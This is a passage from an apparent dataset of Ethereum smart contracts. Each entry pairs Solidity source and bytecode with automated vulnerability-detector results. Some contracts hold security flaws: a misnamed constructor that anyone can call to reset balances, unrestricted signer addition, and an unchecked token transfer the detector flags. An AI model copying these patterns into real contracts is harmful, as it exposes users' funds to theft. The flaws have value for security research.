depositLock[_to] = depositLock[_to] > now ? depositLock[_to] : now + 1 hours;
balances[_from] = balances[_from].sub(_value);
Transfer(_from, _to, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint) {
if (_spender == TRANSFER_PROXY) {
return 2**256 - 1;
}
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function isValidSignature(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s)
public
constant
returns (bool)
{
return isSigner[ecrecover(
keccak256("\x19Ethereum Signed Message:\n32", hash),
v,
r,
s
)];
}
function addSigner(address _newSigner) public {
require(isSigner[msg.sender]);
isSigner[_newSigner] = true;
}
function keccak(address _sender, address _wrapper, uint _validTill) public constant returns(bytes32) {
return keccak256(_sender, _wrapper, _validTill);
}
}
|
0x6080604052600436106101035763ffffffff60e060020a60003504166306fdde0381146101085780630e7c1cb51461019257806318160ddd146101c35780631d6f757d146101ea57806323b872dd1461022557806327e235e314610251578063313ce5671461027257806370a082311461028757806374f1d6ce146102a85780637df73e27146102d25780638b257d3d146102f35780638da5cb5b1461031757806395d89b411461032c57806396d6401d14610341578063a9059cbb14610356578063cc8910231461037a578063d9ee369a1461039b578063dd62ed3e146103c1578063e2bbb158146103e8578063eb12d61e146103f6578063f2fde38b14610417575b600080fd5b34801561011457600080fd5b5061011d610438565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015757818101518382015260200161013f565b50505050905090810190601f1680156101845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019e57600080fd5b506101a76104c6565b60408051600160a060020a039092168252519081900360200190f35b3480156101cf57600080fd5b506101d86104d5565b60408051918252519081900360200190f35b3480156101f657600080fd5b5061021160043560ff602435166044356064356084356104db565b604080519115158252519081900360200190f35b34801561023157600080fd5b5061024f600160a060020a0360043581169060243516604435610664565b005b34801561025d57600080fd5b506101d8600160a060020a03600435166107d4565b34801561027e57600080fd5b506101d86107e6565b34801561029357600080fd5b506101d8600160a060020a03600435166107ec565b3480156102b457600080fd5b506101d8600160a060020a0360043581169060243516604435610807565b3480156102de57600080fd5b50610211600160a060020a0360043516610849565b3480156102ff57600080fd5b5061021160043560ff6024351660443560643561085e565b34801561032357600080fd5b506101a7610921565b34801561033857600080fd5b5061011d610930565b34801561034d57600080fd5b506101a761098b565b34801561036257600080fd5b50610211600160a060020a036004351660243561099a565b34801561038657600080fd5b506101d8600160a060020a03600435166109a3565b3480156103a757600080fd5b50610211600160a060020a036004351660243515156109b5565b3480156103cd57600080fd5b506101d8600160a060020a0360043581169060243516610c8b565b610211600435602435610cad565b34801561040257600080fd5b5061024f600160a060020a0360043516610d47565b34801561042357600080fd5b5061024f600160a060020a0360043516610d89565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104be5780601f10610493576101008083540402835291602001916104be565b820191906000526020600020905b8154815290600101906020018083116104a157829003601f168201915b505050505081565b600854600160a060020a031681565b60015490565b6000856104e7336107ec565b10156104f257600080fd5b3360009081526009602052604090205442111561058257336000908152600a6020526040902054610529908763ffffffff610e1e16565b336000908152600a602052604090205560015461054c903463ffffffff610e1e16565b600155604051339087156108fc029088906000818181858888f1935050505015801561057c573d6000803e3d6000fd5b50610658565b43821161058e57600080fd5b604080516c010000000000000000000000003381028252300260148201526028810184905290519081900360480190206105ca9086868661085e565b15156105d557600080fd5b336000908152600a60205260409020546105f5908763ffffffff610e1e16565b336000908152600a6020526040902055600154610618903463ffffffff610e1e16565b600155336000818152600960205260408082208290555188156108fc0291899190818181858888f19350505050158015610656573d6000803e3d6000fd5b505b50600195945050505050565b600160a060020a03821660009081526004602052604090205460ff16806106a35750600160a060020a03831660009081526004602052604090205460ff165b15156106ae57600080fd5b600354600160a060020a031633146106c257fe5b600160a060020a0382166000908152600a60205260409020546106eb908263ffffffff610e3016565b600160a060020a0383166000908152600a602090815260408083209390935560099052205442106107205742610e100161073a565b600160a060020a0382166000908152600960205260409020545b600160a060020a038084166000908152600960209081526040808320949094559186168152600a9091522054610776908263ffffffff610e1e16565b600160a060020a038085166000818152600a602090815260409182902094909455805185815290519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3505050565b600a6020526000908152604090205481565b60075481565b600160a060020a03166000908152600a602052604090205490565b604080516c01000000000000000000000000600160a060020a038087168202835285160260148201526028810183905290519081900360480190209392505050565b60046020526000908152604090205460ff1681565b604080517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c8101869052815190819003603c018120600080835260208381018086529290925260ff87168385015260608301869052608083018590529251600492849260019260a080840193601f19830192908190039091019086865af11580156108f1573d6000803e3d6000fd5b505060408051601f190151600160a060020a03168352602083019390935250016000205460ff1695945050505050565b600254600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104be5780601f10610493576101008083540402835291602001916104be565b600354600160a060020a031681565b60005b92915050565b60096020526000908152604090205481565b600254600090600160a060020a031633146109cf57600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600091600160a060020a038616916370a082319160248082019260209290919082900301818787803b158015610a3357600080fd5b505af1158015610a47573d6000803e3d6000fd5b505050506040513d6020811015610a5d57600080fd5b505111610a6957600080fd5b8115610b7057604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a0385169163a9059cbb91339184916370a08231916024808201926020929091908290030181600087803b158015610adb57600080fd5b505af1158015610aef573d6000803e3d6000fd5b505050506040513d6020811015610b0557600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a039093166004840152602483019190915251604480830192600092919082900301818387803b158015610b5357600080fd5b505af1158015610b67573d6000803e3d6000fd5b50505050610c82565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a0385169163a9059cbb91339184916370a08231916024808201926020929091908290030181600087803b158015610bdc57600080fd5b505af1158015610bf0573d6000803e3d6000fd5b505050506040513d6020811015610c0657600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610c5557600080fd5b505af1158015610c69573d6000803e3d6000fd5b505050506040513d6020811015610c7f57600080fd5b50505b50600192915050565b600354600090600160a060020a038381169116141561099d575060001961099d565b60006001821015610cbd57600080fd5b3360009081526009602052604090205442610e108402011015610cdf57600080fd5b336000908152600a6020526040902054610cff903463ffffffff610e3016565b336000908152600a6020526040902055600154610d22903463ffffffff610e3016565b600190815533600090815260096020526040902042610e108502019055905092915050565b3360009081526004602052604090205460ff161515610d6557600080fd5b600160a060020a03166000908152600460205260409020805460ff19166001179055565b600254600160a060020a03163314610da057600080fd5b600160a060020a0381161515610db557600080fd5b600254604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610e2a57fe5b50900390565b600082820183811015610e3f57fe5b93925050505600a165627a7a72305820721bb095d1714ce7e1e41dda0cf9ca93742e8e4c566e730cabae5c78e5bc2da40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 8,692 |
0x8f18106d17a1349e189524d6199bd9b801955021
|
pragma solidity ^0.4.21 ;
contract RE_Portfolio_X_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_X_883 " ;
string public symbol = " RE883X " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1724616534055050000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_X_metadata_line_1_____European_Reinsurance_Consultants_20250515 >
// < D8v81h27FBSiRtPlNUVdolxTsvg4ncf8r2M34lMwYWEh286X5H0sH4mMd88cC0JA >
// < 1E-018 limites [ 1E-018 ; 35205224,2350521 ] >
// < 0x00000000000000000000000000000000000000000000000000000000D1D6EAAB >
// < RE_Portfolio_X_metadata_line_2_____Everest_National_Insurance_Co_Ap_Ap_20250515 >
// < 7dMdUH7TN5u875a70BvW0rJwCv1zhkdpTrQtH3RUXHd0q9HYKmURM2caVGPy2jjh >
// < 1E-018 limites [ 35205224,2350521 ; 98251222,5673903 ] >
// < 0x00000000000000000000000000000000000000000000000D1D6EAAB2499F79C4 >
// < RE_Portfolio_X_metadata_line_3_____Everest_Re_Group_20250515 >
// < zVF0rYI70D7b0OZ2tojFJGC48T2J60L6hnLWuW71Jgu8jq5Fv9G6mTz6y1kvd44n >
// < 1E-018 limites [ 98251222,5673903 ; 154556676,857003 ] >
// < 0x00000000000000000000000000000000000000000000002499F79C43993AC7D9 >
// < RE_Portfolio_X_metadata_line_4_____Everest_Re_Group_20250515 >
// < rlKfySod6adx9adzH5n5Z6hQA599J1O77VIe50sS73qa4ua3Rdu6qy43vrXl8aa2 >
// < 1E-018 limites [ 154556676,857003 ; 207287970,828712 ] >
// < 0x00000000000000000000000000000000000000000000003993AC7D94D388598E >
// < RE_Portfolio_X_metadata_line_5_____Everest_Re_Group_20250515 >
// < uqVK1eBQilSmY2VV14N9Ms0tum5s45uC02850O18UToO2G7TOjj21N3zO8b25ij5 >
// < 1E-018 limites [ 207287970,828712 ; 220688404,426694 ] >
// < 0x00000000000000000000000000000000000000000000004D388598E52367C9EE >
// < RE_Portfolio_X_metadata_line_6_____Everest_Re_Group_Limited_20250515 >
// < n28srWQSUFTx3r0vWdoIE02pw9w7H8f02OCKNEPWe6BK86x09jobh6UT933Ji61m >
// < 1E-018 limites [ 220688404,426694 ; 294655852,371998 ] >
// < 0x000000000000000000000000000000000000000000000052367C9EE6DC492849 >
// < RE_Portfolio_X_metadata_line_7_____Evergreen_Insurance_Company_Limited_m_A_20250515 >
// < qob52coqYbYlaI70L3P2k4U5Rr3AGG7e36r2IrtsVXd7342497XUEY6V6821Xh3f >
// < 1E-018 limites [ 294655852,371998 ; 354261799,826067 ] >
// < 0x00000000000000000000000000000000000000000000006DC49284983F909D82 >
// < RE_Portfolio_X_metadata_line_8_____Evergreen_Re_20250515 >
// < VZKXtWFqx1zsJouVbp67WpICU0MAIjHBRW7i2437HM47HjFZ4SliEJ4Z02Hc565N >
// < 1E-018 limites [ 354261799,826067 ; 378253365,098779 ] >
// < 0x000000000000000000000000000000000000000000000083F909D828CE90D6B1 >
// < RE_Portfolio_X_metadata_line_9_____EWI_Re_Intermediaries_and_Consultants_20250515 >
// < bk1WAE4jxce00Cua4l2z9Fib0Xo1NokvEukEQrZ3UmT7VKpfzwDMfsN9vgwuzp70 >
// < 1E-018 limites [ 378253365,098779 ; 456146448,873707 ] >
// < 0x00000000000000000000000000000000000000000000008CE90D6B1A9ED8408B >
// < RE_Portfolio_X_metadata_line_10_____Factory_Mutual_Insurance_Co_Ap_Ap_20250515 >
// < LeCPC7IVqW6ivvM23iYzV800fXES92fdV5Ro5Ry2h28r7j0pyWCZ8b3vI7F5HfjV >
// < 1E-018 limites [ 456146448,873707 ; 471398070,734583 ] >
// < 0x0000000000000000000000000000000000000000000000A9ED8408BAF9C06155 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_X_metadata_line_11_____Faraday_Underwriting_Limited_20250515 >
// < 7py5tEh3TTSM3D511qSeMRPC62csW1LC5iI8s31vA9xL32861Y3XPXHNl6teScrL >
// < 1E-018 limites [ 471398070,734583 ; 552066324,876761 ] >
// < 0x0000000000000000000000000000000000000000000000AF9C06155CDA925E1B >
// < RE_Portfolio_X_metadata_line_12_____Faraday_Underwriting_Limited_20250515 >
// < Y6yqnZK075G96m9O12i52DpIc0v8W9jT77QDneVt74gO13Si4GX1yc4ccx1S583Y >
// < 1E-018 limites [ 552066324,876761 ; 565449517,856386 ] >
// < 0x0000000000000000000000000000000000000000000000CDA925E1BD2A577FDD >
// < RE_Portfolio_X_metadata_line_13_____Faraday_Underwriting_Limited_20250515 >
// < 4uGick1mI3SyVF8dzqi27gwx7x0YlD546GXb563zKAl9enL859W0qO48a9U0SB26 >
// < 1E-018 limites [ 565449517,856386 ; 639504901,630417 ] >
// < 0x0000000000000000000000000000000000000000000000D2A577FDDEE3BF0C27 >
// < RE_Portfolio_X_metadata_line_14_____Faraday_Underwriting_Limited_20250515 >
// < D8HgeA7KQzg8s1AHncyFky9nW6p4fi3DJGv8NHbT72fKVMQlk5Mwul9pmt6quAc1 >
// < 1E-018 limites [ 639504901,630417 ; 715695508,049936 ] >
// < 0x000000000000000000000000000000000000000000000EE3BF0C2710A9E0AFC8 >
// < RE_Portfolio_X_metadata_line_15_____Fiduciary_Intermediary_20250515 >
// < N1fu7Si68f14m7i6YLiSVQ97qz33861Fy04zi7nRGTP4mt87wi1K167Gr5b0kX74 >
// < 1E-018 limites [ 715695508,049936 ; 743637461,618944 ] >
// < 0x0000000000000000000000000000000000000000000010A9E0AFC811506CB965 >
// < RE_Portfolio_X_metadata_line_16_____First_Capital_Insurance_Limited_A_20250515 >
// < wCBWF7V08gp0mSoLL40cA1BVxgR2sCZLMx5dUxtq78Dg9wSc9PyWBJ0KECQLM2sm >
// < 1E-018 limites [ 743637461,618944 ; 785991183,168893 ] >
// < 0x0000000000000000000000000000000000000000000011506CB965124CDF5FE0 >
// < RE_Portfolio_X_metadata_line_17_____Flagstone_Reinsurance_Holdings_Limited_20250515 >
// < EdxgK3q0a8D23GYrTX0zPG9026O9HHQ37v1T2z3FX9wSXkK7ks2Xg8F9AWEoP81n >
// < 1E-018 limites [ 785991183,168893 ; 846829386,163266 ] >
// < 0x00000000000000000000000000000000000000000000124CDF5FE013B77F1AEC >
// < RE_Portfolio_X_metadata_line_18_____FolksAmerica_Reinsurance_Company_20250515 >
// < 87qV9kH2SsA408r95gSXjBrv84sAzHn82hfLujCOY8dn6xwh8WpK37S9lnr9V3Er >
// < 1E-018 limites [ 846829386,163266 ; 901925330,651468 ] >
// < 0x0000000000000000000000000000000000000000000013B77F1AEC14FFE4D83D >
// < RE_Portfolio_X_metadata_line_19_____GBG_Insurance_limited_USA_Bpp_20250515 >
// < j7j5mAMiZ2XJAy7W6g9M47b805wjn0b0W8NDPS1hcYChUFTvVX180ILar64i5se5 >
// < 1E-018 limites [ 901925330,651468 ; 963613439,131181 ] >
// < 0x0000000000000000000000000000000000000000000014FFE4D83D166F956D9D >
// < RE_Portfolio_X_metadata_line_20_____GE_ERC_20250515 >
// < B8lQQKxTfltr7IydVrtZS21V742Trp5dxnuNYubmnk4P603r3011240BbP1haHng >
// < 1E-018 limites [ 963613439,131181 ; 1007149153,42193 ] >
// < 0x00000000000000000000000000000000000000000000166F956D9D177313A802 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_X_metadata_line_21_____General_Cologne_Re_20250515 >
// < 47zVCP1yaRw527wI9To02P6A4l1L0XWrb89oKmKJmiA1iNy6UXz15z9p0y04bzW5 >
// < 1E-018 limites [ 1007149153,42193 ; 1048176399,60965 ] >
// < 0x00000000000000000000000000000000000000000000177313A80218679E440C >
// < RE_Portfolio_X_metadata_line_22_____General_Insurance_Corporation_of_India_20250515 >
// < WcI8agjWu00HLuOXPcgIW93U4dRsd38ayqQBM3z4918HsPojU053Tu8523e02zA3 >
// < 1E-018 limites [ 1048176399,60965 ; 1094781549,32812 ] >
// < 0x0000000000000000000000000000000000000000000018679E440C197D6814A8 >
// < RE_Portfolio_X_metadata_line_23_____General_Insurance_Corporation_of_India_Am_20250515 >
// < b272RujYz55e4526K3x06I4oTnW3v6swg4jJ53mCS6o697FHsCjYZmv1lq10CmmK >
// < 1E-018 limites [ 1094781549,32812 ; 1105997978,5313 ] >
// < 0x00000000000000000000000000000000000000000000197D6814A819C042FE51 >
// < RE_Portfolio_X_metadata_line_24_____General_Re_Co_AA_App_20250515 >
// < 8iSY8q4g0I1EKYi3nXL0G127S4h5N1C8ChR9NGjW9gk9sQ35KLSB9lzK3572U7q3 >
// < 1E-018 limites [ 1105997978,5313 ; 1170640506,34888 ] >
// < 0x0000000000000000000000000000000000000000000019C042FE511B418FA9BE >
// < RE_Portfolio_X_metadata_line_25_____General_Reinsurance_AG_AAm_App_20250515 >
// < 506mnh92Qnjd98H6JGPEePJSjqZK2WFVwPP9scSh8mg755V2aQ975ghBj8tY6I58 >
// < 1E-018 limites [ 1170640506,34888 ; 1205540508,06079 ] >
// < 0x000000000000000000000000000000000000000000001B418FA9BE1C1194D6EA >
// < RE_Portfolio_X_metadata_line_26_____General_Security_Indemnity_Co_of_Arizona_AAm_A_20250515 >
// < NwJ56wpssU33BXRh5tpJX7z8G7nVP7A86RmpIy1704a324a51YL6Qb5IPs7iZ3r1 >
// < 1E-018 limites [ 1205540508,06079 ; 1228073254,88163 ] >
// < 0x000000000000000000000000000000000000000000001C1194D6EA1C97E31524 >
// < RE_Portfolio_X_metadata_line_27_____Generali_Group_20250515 >
// < GXdph0Ey7ht53Wx46rI7r34Nw1lRYp91gwe5em47xjL0vDyzrGk86P5NcUgh8u7f >
// < 1E-018 limites [ 1228073254,88163 ; 1246314210,20301 ] >
// < 0x000000000000000000000000000000000000000000001C97E315241D049C9250 >
// < RE_Portfolio_X_metadata_line_28_____Generali_Itallia_SPA_A_20250515 >
// < EziC4N6N8Qe526PTj2qjeB3J9ifpKAp4z98XXnA8RHfwl4898g0z71r6kuAfMdui >
// < 1E-018 limites [ 1246314210,20301 ; 1262776759,6049 ] >
// < 0x000000000000000000000000000000000000000000001D049C92501D66BC6DAC >
// < RE_Portfolio_X_metadata_line_29_____Gerling_Global_Financial_Services_20250515 >
// < 57Z6p79tqy4VdQ8ee6Efw61KbZm29UoSnke0QYrK172YX7x262E4HJHbNoyBqxYQ >
// < 1E-018 limites [ 1262776759,6049 ; 1317515363,57484 ] >
// < 0x000000000000000000000000000000000000000000001D66BC6DAC1EAD00E8D9 >
// < RE_Portfolio_X_metadata_line_30_____Gerling_Global_Re_20250515 >
// < fndhvrI82gqh4b104s4xyGE551oJj45LaBnbE1G2Fu0pK47Z04R123F9V4R370Rs >
// < 1E-018 limites [ 1317515363,57484 ; 1328252163,78192 ] >
// < 0x000000000000000000000000000000000000000000001EAD00E8D91EECFFF76E >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_X_metadata_line_31_____Gerling_Reinsurance_Australia_20250515 >
// < S54BBy0WgSerb40zls8mmfM4b1R0Nks7D5xXz72B2H9WfeYnfR3t47uQxZo7YOnj >
// < 1E-018 limites [ 1328252163,78192 ; 1389263686,16927 ] >
// < 0x000000000000000000000000000000000000000000001EECFFF76E2058A8295C >
// < RE_Portfolio_X_metadata_line_32_____Ghana_Re_20250515 >
// < Xep07ob9dGSp2d2ELyw3c9dOyffxB8oX9zu3M2J69KFD1doYAugrz5932v0Oslg4 >
// < 1E-018 limites [ 1389263686,16927 ; 1412155401,035 ] >
// < 0x000000000000000000000000000000000000000000002058A8295C20E11A257B >
// < RE_Portfolio_X_metadata_line_33_____Gill_and_Roeser_20250515 >
// < shI4a8zbvo3kvH7js7M43Px1i5nGGX3L9Xrp9Alq1UvKK7I95347d3ZAMbz145u0 >
// < 1E-018 limites [ 1412155401,035 ; 1443837426,52427 ] >
// < 0x0000000000000000000000000000000000000000000020E11A257B219DF114B0 >
// < RE_Portfolio_X_metadata_line_34_____Glacier_Group_20250515 >
// < 62GoA3czxuX9gX3IEKduaWWrrYYbwQat1qco9swKndtE6qP590eFL6h7CF1ezsdx >
// < 1E-018 limites [ 1443837426,52427 ; 1514306817,90679 ] >
// < 0x00000000000000000000000000000000000000000000219DF114B02341F8D6B2 >
// < RE_Portfolio_X_metadata_line_35_____Glacier_Group_20250515 >
// < pVa1i24T24zGsciDN2N3c0yUGJOOW7DnufLAflv52tV2r5bfdsjuzwcg5GHhT5FI >
// < 1E-018 limites [ 1514306817,90679 ; 1561105223,20555 ] >
// < 0x000000000000000000000000000000000000000000002341F8D6B22458E989C4 >
// < RE_Portfolio_X_metadata_line_36_____Global_Reinsurance_20250515 >
// < xT7tNv6JsRskofyS3F849821DH9VKA1a1f0G4rdfyYP9FIcvz6b4NfG5B2Ezm9K2 >
// < 1E-018 limites [ 1561105223,20555 ; ] >
// < 0x000000000000000000000000000000000000000000002458E989C424E6F08D4D >
// < RE_Portfolio_X_metadata_line_37_____GMAC_Re_20250515 >
// < jU4CJnL0d97607640u99MyrRrV71KC4iXmmEMe6O8G9g7as04cUrUUx5TwpB8bk8 >
// < 1E-018 limites [ 1584933466,49313 ; 1653537746,74199 ] >
// < 0x0000000000000000000000000000000000000000000024E6F08D4D267FDA6046 >
// < RE_Portfolio_X_metadata_line_38_____GMF_Assurances_BBB_Baa3_20250515 >
// < 79vx3Blc8rW03wG3jNL6ugR9Cg7MuV3tuA7Z6J1U6a57NHb16G9zv399oc8S3cBt >
// < 1E-018 limites [ 1653537746,74199 ; 1670808102,81451 ] >
// < 0x00000000000000000000000000000000000000000000267FDA604626E6CAD91D >
// < RE_Portfolio_X_metadata_line_39_____Gothaer_Allgemeine_Versicherung_AG_Am_Am_20250515 >
// < qz5CMsmU5s3f5aYBM92Y8d6l25K97x14mG49ysfB6DhP5pyuW3r0wEA595jOHrkO >
// < 1E-018 limites [ 1670808102,81451 ; 1697655608,00777 ] >
// < 0x0000000000000000000000000000000000000000000026E6CAD91D2786D0E3D4 >
// < RE_Portfolio_X_metadata_line_40_____Great_Lakes_Reinsurance__UK__SE_AAm_Ap_20250515 >
// < d728oj78xG9405BgT69TPvGmuIv9tBo0p89hNad0eP69qh4k7Q72jnAX5BeKv1OV >
// < 1E-018 limites [ 1697655608,00777 ; 1724616534,05505 ] >
// < 0x000000000000000000000000000000000000000000002786D0E3D4282783FF91 >
}
|
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013957806318160ddd1461019e57806323b872dd146101c9578063313ce5671461024e57806370a082311461027f57806395d89b41146102d6578063a9059cbb14610366578063b5c8f317146103cb578063dd62ed3e146103e2575b600080fd5b3480156100b557600080fd5b506100be610459565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fe5780820151818401526020810190506100e3565b50505050905090810190601f16801561012b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014557600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104f7565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b36105e9565b6040518082815260200191505060405180910390f35b3480156101d557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ef565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b5061026361085b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028b57600080fd5b506102c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086e565b6040518082815260200191505060405180910390f35b3480156102e257600080fd5b506102eb610886565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032b578082015181840152602081019050610310565b50505050905090810190601f1680156103585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037257600080fd5b506103b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610924565b604051808215151515815260200191505060405180910390f35b3480156103d757600080fd5b506103e0610a7a565b005b3480156103ee57600080fd5b50610443600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b29565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ef5780601f106104c4576101008083540402835291602001916104ef565b820191906000526020600020905b8154815290600101906020018083116104d257829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561063e57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106c957600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097357600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820890da05464f0297a1a2c830692fdccc9718beac5795b56d0d7393ae531262f6c0029
|
{"success": true, "error": null, "results": {}}
| 8,693 |
0x6dadb75e3ec4ff80897324e0cce991b5f699a0d2
|
pragma solidity ^0.4.18;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="5526213033343b7b32303a27323015363a3b26303b262c267b3b3021">[email protected]</span>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
